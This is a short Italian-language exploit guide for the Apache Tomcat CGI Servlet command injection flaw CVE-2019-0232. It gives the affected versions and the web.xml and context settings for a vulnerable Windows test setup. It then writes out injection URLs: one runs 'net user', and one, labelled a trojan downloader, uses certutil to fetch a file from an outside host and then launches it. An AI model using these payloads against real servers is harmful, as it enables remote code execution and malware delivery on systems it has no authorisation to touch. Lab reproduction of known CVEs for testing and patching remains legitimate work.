
Exploit per Apache Tomcat CGI Servlet per iniezione di comandi (CVE-2019-0232) che consente l'esecuzione remota di codice tramite richieste HTTP appositamente predisposte sulle versioni vulnerabili.
L'ambiente di test è Win10 Home 1809, versione jre 18.3 (build 10.0.2+13), versione Tomcat 9.0.13.
★Apache Tomcat 9.0.0.M1 a 9.0.17
★Apache Tomcat 8.5.0 a 8.5.39
★Apache Tomcat 7.0.0 a 7.0.93
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
Configurazione dei Servlet Mappings:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
Aggiungi l'attributo privileged="true"
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
Infine, crea un file vuoto hello.bat nella cartella webapps/ROOT/WEB-INF; non è necessario scrivere nulla al suo interno. Avvia Tomcat, apri il browser e visita il seguente link: http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

Costruisci un link di iniezione per implementare la funzionalità di un downloader di immagini (trojan): http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
